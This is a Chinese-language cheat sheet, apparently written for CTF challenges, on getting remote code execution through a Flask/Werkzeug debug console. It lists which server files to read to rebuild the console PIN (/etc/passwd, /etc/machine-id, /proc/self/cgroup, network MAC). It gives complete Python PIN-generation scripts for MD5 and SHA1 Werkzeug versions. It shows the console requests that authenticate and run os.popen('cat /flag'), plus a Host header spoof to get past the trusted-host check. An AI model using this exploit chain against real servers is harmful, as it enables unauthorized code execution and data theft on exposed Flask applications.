参考自https://blog.hz2016.com/2023/07/flask调试模式pin值计算和利用/

需要知道的文件名一览

用户名

通过/etc/passwd猜测,一般是root。如果有用户目录设在/app大概率是那个用户名

源码地址

通过报错得到

网络地址

/sys/class/net/eth0/address
/sys/class/net/ens33/address

需要转十进制(后面有脚本)

机器ID

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容)
优先选择1,没有1选2,只能选1,2中的一个。3有没有不影响,有就要连接在1或2的后面。
(1 or 2) (+3)

脚本

算地址(可以内置进下面的版本计算)

py
address = "02:0a:27:03:12:57"
print(int(address.replace(":", ""), 16))

低版本(werkzeug<2.0.x md5)

py
# MD5
import hashlib
from itertools import chain

probably_public_bits = [
"flaskweb" # username
"flask.app", # modname
"Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
"/usr/local/lib/python3.7/site-packages/flask/app.py", # getattr(mod, '__file__', None),
]

private_bits = [
"25214234362297", # str(uuid.getnode()), /sys/class/net/ens33/address
"0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa", # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

高版本(werkzeug>=2.0.x sha1)

py
# machine-id:
# machine-id是通过**三个文件**里面的内容经过处理后拼接起来

# 1. /etc/machine-id(一般仅非docker机有,截取全文)
# 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
# 3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# # 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# # 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
# 文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
# 文件3如果存在的话就截取,不存在的话就不用管
# 最后machine-id=(文件1或文件2)+文件3(存在的话)
import hashlib
from itertools import chain

probably_public_bits = [
"root" # /etc/passwd
"flask.app", # 默认值
"Flask", # 默认值
"/usr/local/lib/python3.10/site-packages/flask/app.py", # moddir,报错得到
]

private_bits = [
"2242627441239", # /sys/class/net/eth0/address 十进制
# 1. /etc/machine-id 2. /proc/sys/kernel/random/boot_id 3. /proc/self/cgroup (1 or 2)(+3)
"d45a88e1-3fe4-4156-9e59-3864587b7c87", #
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

注意的点(重点)

开启调试在/console

输入参数

发现/console藏有源码如

js
<script>
var CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "HwSWplRMh0QHXH37xhln";
</script>

计算好PIN值后传参

/console?__debugger__=yes&cmd=pinauth&pin=683-407-538&s=HwSWplRMh0QHXH37xhln

s的值取自源码
当出现 {“auth”: true, “exhausted”: false}时说明验证成功
获取输入PIN值后的cookie并拿到flag

/console?__debugger__=yes&cmd=open('/flag').read()&frm=0&s=HwSWplRMh0QHXH37xhln
Cookie: __wzd489be12137736dc7b5b4=1729773727|f867e64c2141

RCE:
import os;os.popen('cat /flag').read()

开启调试模式,但访问路由报400

对debug console的请求需要来自信任的host
添加Header Host:127.0.0.1,写到原Host前后